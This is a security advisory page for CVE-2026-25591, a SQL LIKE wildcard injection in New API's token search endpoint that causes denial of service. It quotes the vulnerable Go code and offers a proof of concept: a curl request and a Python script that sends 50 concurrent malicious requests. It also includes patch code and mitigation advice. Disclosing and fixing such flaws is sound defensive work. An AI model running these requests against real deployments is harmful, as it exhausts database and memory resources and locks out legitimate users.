CVE-2026-25591: New API has an SQL LIKE Wildcard Injection DoS via Token Search
Summary A SQL LIKE wildcard injection vulnerability in the /api/token/search endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns. Details The token search endpoint accepts user-supplied keyword and token parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (%, ).
Published Feb 23, 2026 · Updated Feb 27, 2026
Affected packages
github.com/QuantumNous/new-api
- Ecosystem
- Go
- Affected
- < 0.10.8-alpha.10
- Fixed in
- 0.10.8-alpha.10
- Check
go list -m github.com/QuantumNous/new-api
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A SQL LIKE wildcard injection vulnerability in the /api/token/search endpoint allows authenticated users to cause Denial of Service through resource exhaustion by crafting malicious search patterns.
Details
The token search endpoint accepts user-supplied keyword and token parameters that are directly concatenated into SQL LIKE clauses without escaping wildcard characters (%, _). This allows attackers to inject patterns that trigger expensive database queries.
Vulnerable Code
File: model/token.go:70
err = DB.Where("user_id = ?", userId).
Where("name LIKE ?", "%"+keyword+"%"). // No wildcard escaping
Where(commonKeyCol+" LIKE ?", "%"+token+"%").
Find(&tokens).ErrorPoC
After creating over 2 million tokens, creating millions token entries is not difficult, because the rate limiting only applies to IP addresses, so multiple IP addresses can share one session, allowing for the creation of an unlimited number of tokens in batches.
These data are not all loaded at once under normal circumstances, as shown in the image, and are displayed correctly. But if a request like this is submitted:
# A single request causes PostgreSQL to unconditionally retrieve all tokens belonging to that user. These requests buffer will all go into the buffer zone, causing an overflow and preventing the program from functioning properly.
curl 'http://localhost:3000/api/token/search?keyword=%&token='It will cause DoS.
import requests
from concurrent.futures import ThreadPoolExecutor
def attack(session_cookie):
requests.get(
'http://localhost:3000/api/token/search',
params={'keyword': '%_%_%_%_%_%', 'token': ''},
cookies={'session': session_cookie},
headers={'New-API-User': '1'}
)
# Launch 50 concurrent malicious requests
with ThreadPoolExecutor(max_workers=50) as executor:
for _ in range(50):
executor.submit(attack, '<valid_session>')Impact
Availability
RAM Overflow
Postgres unavailable
- Database CPU usage spike to 100%
- Application memory exhaustion
- Legitimate user requests blocked or significantly delayed
- Potential application crash or database connection pool exhaustion
Database Performance
Testing with 2,000,000 tokens:
| Pattern | Query Time | Rows | Impact | | `test` (normal) | ~50ms | 0 | Low | | `%` (full scan) | 5,973ms | 2,000,000 | High | | `%_%_%_%_%_%` | 6,200ms+ | 2,000,000 | Very High |
Attack Scalability
- Single attacker: Can launch 10-50 concurrent requests easily
- Multiple accounts: Attacker can register multiple accounts (if registration enabled)
- Proxy rotation: IP-based rate limiting can be bypassed
- Persistence: Attack can be sustained indefinitely
Resource Consumption
Each malicious request with 2M results:
- Database: ~6 seconds CPU time
- Network: ~200MB data transfer
- Application Memory: ~200MB+ for JSON serialization
- Connection Time: Database connection held for entire query duration
Exploitation Scenario
- Attacker registers or compromises a regular user account
- Attacker crafts malicious LIKE patterns using
%wildcards - Attacker launches concurrent requests (50-200 concurrent)
- Database becomes overwhelmed with slow queries
- Application memory exhausts from processing large result sets
- Legitimate users experience service degradation or complete unavailability
Patch Recommendations
1. Escape LIKE Wildcards (Critical)
func escapeLike(s string) string {
s = strings.ReplaceAll(s, "\\", "\\\\")
s = strings.ReplaceAll(s, "%", "\\%")
s = strings.ReplaceAll(s, "_", "\\_")
return s
}
func SearchUserTokens(userId int, keyword string, token string) (tokens []*Token, err error) {
keyword = escapeLike(keyword)
token = strings.Trim(token, "sk-")
token = escapeLike(token)
err = DB.Where("user_id = ?", userId).
Where("name LIKE ? ESCAPE '\\\\'", "%"+keyword+"%").
Where(commonKeyCol+" LIKE ? ESCAPE '\\\\'", "%"+token+"%").
Limit(1000).
Find(&tokens).Error
return tokens, err
}2. Add User-Level Rate Limiting
tokenRoute.GET("/search",
middleware.TokenSearchRateLimit(), // 30 req/min per user
controller.SearchTokens)3. Add Query Timeout
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
err = DB.WithContext(ctx).Where(...).Find(&tokens).ErrorCredited to xuemian168, callmeiks, Calcium-Ion.
References
- https://github.com/QuantumNous/new-api/security/advisories/GHSA-w6x6-9fp7-fqm4
- https://github.com/QuantumNous/new-api/commit/3e1be18310f35d20742683ca9e4bf3bcafc173c5
- https://github.com/QuantumNous/new-api/releases/tag/v0.10.8-alpha.10
- https://nvd.nist.gov/vuln/detail/CVE-2026-25591
- https://pkg.go.dev/vuln/GO-2026-4531
- https://github.com/advisories/GHSA-w6x6-9fp7-fqm4
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-64859
New API: User List API Leaks Root User Access Token Leading to Privilege Escalation
critical9.1Aug 17, 2026CVE-2026-64865
New API: Redis user quota cache overwrite via PUT /api/user/self allows quota bypass
medium6.0Aug 17, 2026CVE-2026-64866
New API: Admin can reset passkeys for same-level or higher-privileged users
medium5.1Aug 17, 2026CVE-2026-64868
New API: Unauthenticated payment webhooks allow memory and disk DoS via unbounded body reads and full-body logging
high7.5Aug 17, 2026CVE-2026-71479
New API: Integer overflow in quota billing yields negative charges (self-crediting)
critical9.1Aug 17, 2026CVE-2026-33655
New API: SSRF Protection Bypass via Unresolved Hostname in Notification URLs
high7.7Jul 7, 2026
